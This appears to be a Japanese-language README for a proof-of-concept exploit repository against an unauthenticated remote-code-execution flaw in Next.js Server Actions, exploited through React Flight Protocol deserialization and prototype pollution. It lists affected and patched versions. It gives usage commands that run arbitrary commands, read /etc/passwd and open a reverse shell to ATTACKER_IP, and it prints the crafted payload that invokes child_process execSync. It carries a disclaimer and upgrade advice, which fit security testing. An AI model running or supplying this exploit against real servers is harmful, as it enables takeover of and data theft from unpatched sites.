
Next.js Server ActionsにおけるReact Flight Protocolのデシリアライゼーションを介した重要な未認証RCEの概念実証エクスプロイトで、脆弱なサーバー上で任意のコマンド実行を可能にします。
Next.js Server Actions における深刻な脆弱性。React Flight Protocol のデシリアライズを介した認証不要のリモートコード実行が可能
このリポジトリは、Server Actions(React Server Functions)を使用する Next.js アプリケーションに影響する深刻なRCE脆弱性の Proof of Concept (PoC) を含んでいます。
| 詳細 | 情報 |
|---|---|
| CVE | CVE-2025-55182 / CVE-2025-66478 |
| 深刻度 | Critical (CVSS 10.0) |
| 影響を受けるReact | React 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| 影響を受けるNext.js | Next.js 15.x, 16.x, 14.3.0-canary.77+ |
| 影響を受けない | Next.js 14.x stable, 13.x, Pages Router, Edge Runtime |
| 修正済みNext.js | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 |
| 修正済みReact | 19.0.1, 19.1.2, 19.2.1 |
| 種類 | Remote Code Execution (RCE) |
| 認証要件 | なし |
この脆弱性は、Server Actions処理中に React Flight Protocol がチャンクをデシリアライズする方法に存在します。攻撃者は巧妙に細工されたフォームデータを介して プロトタイプ汚染 を悪用し、以下のことが可能です:
__proto__) を介して Function コンストラクタにアクセスこれはサーバーアクションの検証 前 に発生するため、Server Actionsが有効なすべてのNext.jsアプリで悪用可能です。
以下の条件を満たすNext.jsアプリケーションは脆弱です:
pip install requests
python3 poc.py <TARGET_URL> "<COMMAND>"
# Test command execution
python3 poc.py http://localhost:3000 "id"
# Read sensitive files
python3 poc.py http://localhost:3000 "cat /etc/passwd"
# Reverse shell (for authorized testing only)
python3 poc.py http://localhost:3000 "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
$ python3 poc.py http://localhost:3000 "whoami"
500
0:{"a":"$@1","f":"","b":"development"}
1:E{"digest":"www-data","message":"NEXT_REDIRECT","stack":[],"env":"Server"}
コマンドの出力は digest フィールドに表示されます。
このエクスプロイトはReact Flight Protocolのチャンク解決メカニズムを利用します:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('{cmd}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
攻撃チェーン:
$1:__proto__:then によるプロトタイプ探索$1:constructor:constructor による Function コンストラクタへのアクセス_prefix フィールドによる任意コードの注入直ちにアップグレードしてください:
npm install next@latest
# or
pnpm update next
パッチ適用済みバージョン: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
注: Next.js 14.x stable および 13.x は脆弱ではありません。
⚠️ このPoCは教育および許可されたセキュリティテスト目的にのみ使用されます。
許可なくコンピュータシステムにアクセスすることは違法です。このツールは、自分が所有するシステム、または明示的なテスト許可を得たシステムでのみ使用してください。作者は悪用に対して一切の責任を負いません。
@msanft による最初の研究に基づいています。脆弱性の発見と初期PoCの全功績は彼に帰属します。
Next.js RCE, Next.js脆弱性, CVE-2025-55182, CVE-2025-66478, React2Shell, React Server Componentsエクスプロイト, Next.js Server Actions RCE, Next.jsプロトタイプ汚染, React Flight Protocol脆弱性, Next.jsセキュリティ, Next.jsリモートコード実行, Next.jsエクスプロイトPoC, Server Actions脆弱性, React RSC RCE